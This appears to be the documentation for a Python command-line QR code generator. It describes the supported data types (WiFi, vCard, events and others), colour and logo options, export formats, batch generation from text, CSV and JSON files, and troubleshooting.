qr-code-generator（二维码生成器）

QR Code Generator

Generate customizable QR codes for URLs, text, WiFi credentials, contact cards, and more. Supports batch generation, custom styling, logo embedding, and multiple export formats.

⚠️ Prerequisite: Install OpenClawCLI (Windows, MacOS)

Installation:

# Standard installation
pip install qrcode[pil] segno

# If you encounter permission errors, use a virtual environment
python -m venv venv
source venv/bin/activate  # On Windows: venv\Scripts\activate
pip install qrcode[pil] segno

Never use --break-system-packages as it can damage your system's Python installation.

Quick Reference

Core Features

1. Multiple Data Types

Generate QR codes for various data types with automatic formatting.

Supported Types:

• URL - Websites and web links
• Text - Plain text messages
• WiFi - WiFi network credentials
• vCard - Contact information (VCF format)
• Email - Email addresses with optional subject/body
• Phone - Phone numbers (tel: links)
• SMS - SMS messages with recipient and text
• Geo - Geographic coordinates
• Event - Calendar events (iCal format)
• Custom - Any custom data

2. Customization Options

Personalize QR code appearance:

• Foreground and background colors
• Custom error correction levels
• Border size adjustment
• Module size control
• Logo/image embedding

3. Multiple Export Formats

Export in various formats for different use cases:

• PNG - Raster images (default)
• SVG - Vector graphics (scalable)
• PDF - Print-ready documents
• EPS - Vector format for design tools
• Terminal - ASCII art for terminal display

4. Batch Processing

Generate multiple QR codes from:

• Text files (one entry per line)
• CSV files (with metadata)
• JSON files (with configuration)

Basic Usage

URL QR Codes

Generate QR codes for websites and links.

# Simple URL
python scripts/qr.py "https://example.com"

# With custom filename
python scripts/qr.py "https://github.com" --output github_qr.png

# High error correction for printed codes
python scripts/qr.py "https://mysite.com" --error-correction H --output site_qr.png

Output:

QR code generated: qrcode.png
Size: 290x290 pixels
Error correction: M (Medium)
Data: https://example.com

Text QR Codes

Encode plain text messages.

# Simple text
python scripts/qr.py --type text "Hello, World!"

# Multi-line text
python scripts/qr.py --type text "Line 1\
Line 2\
Line 3" --output message.png

# Large text (automatic size adjustment)
python scripts/qr.py --type text "$(cat message.txt)" --output text_qr.png

WiFi QR Codes

Create scannable WiFi credentials.

# WPA/WPA2 network
python scripts/qr.py --type wifi --ssid "MyNetwork" --password "SecurePassword123"

# WPA2 network (explicit)
python scripts/qr.py --type wifi --ssid "HomeWiFi" --password "pass123" --security WPA

# Hidden network
python scripts/qr.py --type wifi --ssid "SecretNet" --password "secret" --hidden

# Open network (no password)
python scripts/qr.py --type wifi --ssid "GuestNetwork" --security nopass

Security types: WPA, WEP, nopass

Output QR contains:

WIFI:T:WPA;S:MyNetwork;P:SecurePassword123;H:false;;

Contact Cards (vCard)

Generate vCard QR codes for easy contact sharing.

# Basic contact
python scripts/qr.py --type vcard --name "John Doe" --phone "+1234567890"

# Full contact details
python scripts/qr.py --type vcard \
  --name "Jane Smith" \
  --phone "+1234567890" \
  --email "jane@example.com" \
  --organization "Tech Corp" \
  --title "Senior Developer" \
  --url "https://janesmith.com" \
  --address "123 Main St, City, State, 12345" \
  --output jane_contact.png

# Multiple phone numbers
python scripts/qr.py --type vcard \
  --name "Bob Johnson" \
  --phone "+1234567890" \
  --phone-home "+0987654321" \
  --email "bob@email.com"

Generated vCard format:

BEGIN:VCARD
VERSION:3.0
FN:John Doe
TEL:+1234567890
END:VCARD

Email QR Codes

Create mailto: links with optional subject and body.

# Simple email
python scripts/qr.py --type email --email "contact@example.com"

# With subject
python scripts/qr.py --type email --email "support@company.com" --subject "Support Request"

# With subject and body
python scripts/qr.py --type email \
  --email "info@example.com" \
  --subject "Inquiry" \
  --body "I would like more information about..."

Output QR contains:

mailto:contact@example.com?subject=Support%20Request&body=Message%20text

Phone Number QR Codes

Generate clickable phone links.

# Simple phone number
python scripts/qr.py --type phone --phone "+1234567890"

# International format
python scripts/qr.py --type phone --phone "+44 20 7946 0958"

Output QR contains:

tel:+1234567890

SMS QR Codes

Create pre-filled SMS messages.

# SMS with recipient only
python scripts/qr.py --type sms --phone "+1234567890"

# SMS with message
python scripts/qr.py --type sms --phone "+1234567890" --message "Hello from QR code!"

Output QR contains:

sms:+1234567890?body=Hello%20from%20QR%20code!

Geographic Location QR Codes

Encode GPS coordinates.

# Coordinates only
python scripts/qr.py --type geo --latitude 37.7749 --longitude -122.4194

# With altitude
python scripts/qr.py --type geo --latitude 40.7128 --longitude -74.0060 --altitude 10

# Named location
python scripts/qr.py --type geo --latitude 51.5074 --longitude -0.1278 --location-name "London"

Output QR contains:

geo:37.7749,-122.4194

Calendar Event QR Codes

Generate iCalendar event QR codes.

# Basic event
python scripts/qr.py --type event \
  --event-title "Team Meeting" \
  --event-start "2024-03-15T14:00:00" \
  --event-end "2024-03-15T15:00:00"

# Full event details
python scripts/qr.py --type event \
  --event-title "Conference 2024" \
  --event-start "2024-06-01T09:00:00" \
  --event-end "2024-06-01T17:00:00" \
  --event-location "Convention Center, NYC" \
  --event-description "Annual tech conference" \
  --output conference_qr.png

Customization Options

Colors

Customize foreground and background colors.

# Named colors
python scripts/qr.py "https://example.com" --fg-color blue --bg-color white

# Hex colors
python scripts/qr.py "https://example.com" --fg-color "#FF0000" --bg-color "#FFFFFF"

# RGB colors
python scripts/qr.py "https://example.com" --fg-color "rgb(0,100,200)" --bg-color "rgb(255,255,255)"

# Transparent background
python scripts/qr.py "https://example.com" --bg-color transparent --format png

Common color names: black, white, red, blue, green, yellow, orange, purple, pink, brown, gray

Error Correction

Set error correction level (higher = more damage resistance).

--error-correction <L|M|Q|H>

Levels:

• L - Low (~7% recovery) - Use for digital display
• M - Medium (~15% recovery) - Default, good balance
• Q - Quartile (~25% recovery) - Use when adding logos
• H - High (~30% recovery) - Best for print, damaged surfaces

# Low (smallest QR code)
python scripts/qr.py "https://example.com" --error-correction L

# High (best for print with logo)
python scripts/qr.py "https://example.com" --error-correction H --logo company.png

Size and Border

Control QR code size and border width.

# Custom module size (box size in pixels)
python scripts/qr.py "URL" --box-size 20

# Custom border (modules)
python scripts/qr.py "URL" --border 2

# Large QR code
python scripts/qr.py "URL" --box-size 30 --border 4 --output large_qr.png

# Minimal QR code (no border)
python scripts/qr.py "URL" --border 0 --output minimal_qr.png

Defaults:

• Box size: 10 pixels
• Border: 4 modules (recommended minimum)

Logo Embedding

Add logos or images to QR codes.

# Add logo (center)
python scripts/qr.py "https://company.com" --logo company_logo.png

# Custom logo size (percentage of QR code)
python scripts/qr.py "URL" --logo logo.png --logo-size 20

# High error correction recommended with logos
python scripts/qr.py "URL" --logo logo.png --error-correction H

Logo tips:

• Use square or circular logos
• Keep logo size ≤ 30% of QR code
• Use high error correction (Q or H)
• Test scanning after adding logo

Export Formats

PNG (Default)

Raster image format, good for digital use.

python scripts/qr.py "https://example.com" --format png --output qr.png

Best for: Web, digital displays, simple sharing

SVG (Vector)

Scalable vector graphics, perfect for any size.

python scripts/qr.py "https://example.com" --format svg --output qr.svg

Best for: Print, design work, scaling to any size

PDF

Print-ready PDF documents.

python scripts/qr.py "https://example.com" --format pdf --output qr.pdf

Best for: Printing, documents, archival

EPS

Encapsulated PostScript for professional design tools.

python scripts/qr.py "https://example.com" --format eps --output qr.eps

Best for: Professional design software (Adobe Illustrator, etc.)

Terminal

Display QR code as ASCII art in terminal.

python scripts/qr.py "https://example.com" --format terminal

Output:

█████████████████████████████
█████████████████████████████
████ ▄▄▄▄▄ █▀█ █▄▄▄▄▄ ████
████ █   █ █▀▀▀█ █   █ ████
████ █▄▄▄█ █▀ ▀ █▄▄▄█ ████
...

Best for: Quick terminal display, debugging

Batch Generation

From Text File

Generate QR codes from a list of URLs or text.

# Create input file
cat > urls.txt << EOF
https://example.com
https://github.com
https://google.com
EOF

# Generate batch
python scripts/qr.py --batch urls.txt --output-dir qrcodes/

Output:

qrcodes/
  ├── qr_001.png
  ├── qr_002.png
  └── qr_003.png

From CSV File

Generate with metadata (filenames, options).

# Create CSV
cat > contacts.csv << EOF
name,phone,email,filename
John Doe,+1234567890,john@example.com,john_qr.png
Jane Smith,+0987654321,jane@example.com,jane_qr.png
EOF

# Generate batch
python scripts/qr.py --batch contacts.csv --type vcard --output-dir contacts/

From JSON File

Generate with full customization per QR code.

# Create JSON config
cat > qr_config.json << EOF
[
  {
    "data": "https://example.com",
    "output": "example_qr.png",
    "fg_color": "blue",
    "bg_color": "white"
  },
  {
    "type": "wifi",
    "ssid": "MyNetwork",
    "password": "secret",
    "output": "wifi_qr.png"
  }
]
EOF

# Generate batch
python scripts/qr.py --batch qr_config.json --output-dir custom/

Common Workflows

Event Check-In System

Generate QR codes for event tickets.

# Create ticket QR codes with unique IDs
python scripts/qr.py --type text "TICKET-001-VIP" --output tickets/ticket_001.png
python scripts/qr.py --type text "TICKET-002-GENERAL" --output tickets/ticket_002.png

# Or batch from CSV
cat > tickets.csv << EOF
ticket_id,type,name
TICKET-001,VIP,John Doe
TICKET-002,GENERAL,Jane Smith
EOF

python scripts/qr.py --batch tickets.csv --template "TICKET-{ticket_id}-{type}" --output-dir tickets/

Restaurant Menu

Create QR code for digital menu.

# Menu URL
python scripts/qr.py "https://restaurant.com/menu" \
  --output menu_qr.png \
  --box-size 15 \
  --error-correction H

# Print version (PDF)
python scripts/qr.py "https://restaurant.com/menu" \
  --format pdf \
  --output menu_qr.pdf \
  --box-size 20

WiFi Guest Access

Generate WiFi QR code for guests.

# Print-friendly version
python scripts/qr.py --type wifi \
  --ssid "Guest_Network" \
  --password "GuestPass123" \
  --format pdf \
  --output wifi_guest.pdf \
  --box-size 15 \
  --error-correction H

# Poster with logo
python scripts/qr.py --type wifi \
  --ssid "Guest_Network" \
  --password "GuestPass123" \
  --logo company_logo.png \
  --output wifi_poster.png \
  --box-size 20

Contact Card Distribution

Create scannable business cards.

# Generate vCard
python scripts/qr.py --type vcard \
  --name "John Doe" \
  --phone "+1234567890" \
  --email "john@company.com" \
  --organization "Tech Corp" \
  --title "CEO" \
  --url "https://company.com" \
  --format svg \
  --output business_card.svg

# Print version
python scripts/qr.py --type vcard \
  --name "John Doe" \
  --phone "+1234567890" \
  --email "john@company.com" \
  --format pdf \
  --output business_card.pdf \
  --box-size 12

Product Packaging

QR codes for product information.

# Product info URL
python scripts/qr.py "https://product.com/info/SKU12345" \
  --output product_qr.svg \
  --format svg \
  --fg-color "#000000" \
  --bg-color transparent

# With error correction for damaged packaging
python scripts/qr.py "https://product.com/info/SKU12345" \
  --error-correction H \
  --output product_qr_robust.png

Social Media Links

QR codes for social profiles.

# Instagram
python scripts/qr.py "https://instagram.com/username" --output instagram_qr.png

# LinkedIn
python scripts/qr.py "https://linkedin.com/in/username" --output linkedin_qr.png

# Multiple platforms (batch)
cat > social.txt << EOF
https://twitter.com/username
https://instagram.com/username
https://linkedin.com/in/username
https://github.com/username
EOF

python scripts/qr.py --batch social.txt --output-dir social_qr/

Payment Links

QR codes for payment services.

# PayPal
python scripts/qr.py "https://paypal.me/username" --output paypal_qr.png

# Venmo
python scripts/qr.py "venmo://username" --output venmo_qr.png

# Cash App
python scripts/qr.py "https://cash.app/$username" --output cashapp_qr.png

Best Practices

Size and Scanning

1. Minimum size: 2cm × 2cm for reliable scanning
2. Viewing distance: QR size should be 10% of scanning distance
3. Border: Keep at least 4 modules border (quiet zone)
4. Testing: Always test scan before printing

Error Correction

1. Digital display: Use L or M
2. Print without logo: Use M
3. Print with logo: Use H
4. Outdoor/damaged: Use H

Colors

1. High contrast: Dark foreground, light background
2. Avoid: Light colors on light, dark on dark
3. Print: Use pure black/white for best results
4. Branding: Test custom colors before mass production

Logo Integration

1. Size: Keep logo ≤ 25-30% of QR code
2. Error correction: Use Q or H level
3. Position: Center placement works best
4. Testing: Verify scanning with logo

File Formats

1. Digital: PNG for web, screens
2. Print: PDF or SVG for scalability
3. Design: SVG or EPS for editing
4. Archive: Keep source data and SVG version

Troubleshooting

Installation Issues

"Missing required dependency"

# Install dependencies
pip install qrcode[pil] segno

# Or use virtual environment
python -m venv venv
source venv/bin/activate
pip install qrcode[pil] segno

"PIL/Pillow not found"

pip install Pillow

Generation Issues

"QR code too complex"

• Reduce data size
• Use higher version (auto-adjusts)
• Split into multiple QR codes

"Cannot scan QR code"

• Increase error correction
• Ensure sufficient contrast
• Check minimum size
• Remove or reduce logo size
• Test in good lighting

"Logo obscures data"

• Reduce logo size (--logo-size)
• Increase error correction to H
• Use simpler logo design

File Issues

"Cannot save file"

• Check output directory exists
• Verify write permissions
• Check disk space

"Invalid color format"

• Use named colors: red, blue, green
• Use hex: #RRGGBB
• Use rgb: rgb(R,G,B)

Command Reference

python scripts/qr.py [DATA] [OPTIONS]

DATA:
  Text string, URL, or data to encode (required unless using --batch)

GENERAL OPTIONS:
  --type              Data type (url|text|wifi|vcard|email|phone|sms|geo|event)
  -o, --output        Output filename (default: qrcode.png)
  -f, --format        Format (png|svg|pdf|eps|terminal)
  
CUSTOMIZATION:
  --fg-color          Foreground color (default: black)
  --bg-color          Background color (default: white)
  --error-correction  Error correction (L|M|Q|H, default: M)
  --box-size          Module size in pixels (default: 10)
  --border            Border size in modules (default: 4)
  --logo              Logo image path
  --logo-size         Logo size percentage (default: 20)

WIFI OPTIONS:
  --ssid              Network SSID
  --password          Network password
  --security          Security type (WPA|WEP|nopass)
  --hidden            Hidden network flag

VCARD OPTIONS:
  --name              Full name
  --phone             Phone number
  --phone-home        Home phone
  --phone-work        Work phone
  --email             Email address
  --organization      Company/organization
  --title             Job title
  --url               Website URL
  --address           Full address

EMAIL OPTIONS:
  --email             Email address
  --subject           Email subject
  --body              Email body

PHONE/SMS OPTIONS:
  --phone             Phone number
  --message           SMS message text

GEO OPTIONS:
  --latitude          Latitude coordinate
  --longitude         Longitude coordinate
  --altitude          Altitude (optional)
  --location-name     Location name (optional)

EVENT OPTIONS:
  --event-title       Event title
  --event-start       Start datetime (ISO format)
  --event-end         End datetime (ISO format)
  --event-location    Event location
  --event-description Event description

BATCH OPTIONS:
  --batch             Input file (txt|csv|json)
  --output-dir        Output directory for batch
  --template          Filename template for batch

HELP:
  --help              Show all options

Examples by Use Case

Quick QR Codes

# URL
python scripts/qr.py "https://example.com"

# Text
python scripts/qr.py --type text "Hello World"

# Phone
python scripts/qr.py --type phone --phone "+1234567890"

Professional QR Codes

# With logo and custom colors
python scripts/qr.py "https://company.com" \
  --logo logo.png \
  --fg-color "#003366" \
  --bg-color "#FFFFFF" \
  --error-correction H \
  --output company_qr.png

# Print-ready
python scripts/qr.py "https://company.com" \
  --format pdf \
  --box-size 15 \
  --error-correction H \
  --output printable_qr.pdf

Functional QR Codes

# WiFi access
python scripts/qr.py --type wifi --ssid "Network" --password "pass123"

# Contact card
python scripts/qr.py --type vcard --name "John Doe" --phone "+1234567890" --email "john@example.com"

# Calendar event
python scripts/qr.py --type event --event-title "Meeting" --event-start "2024-03-15T14:00:00" --event-end "2024-03-15T15:00:00"

Bulk Generation

# From URL list
python scripts/qr.py --batch urls.txt --output-dir qrcodes/

# From CSV with metadata
python scripts/qr.py --batch data.csv --output-dir output/

# Custom configuration per code
python scripts/qr.py --batch config.json --output-dir custom/

Support

For issues or questions:

1. Check this documentation
2. Run python scripts/qr.py --help
3. Verify dependencies are installed
4. Test with simple QR code first

Resources:

• OpenClawCLI: https://clawhub.ai/
• qrcode library: https://pypi.org/project/qrcode/
• segno library: https://pypi.org/project/segno/
• QR code specification: ISO/IEC 18004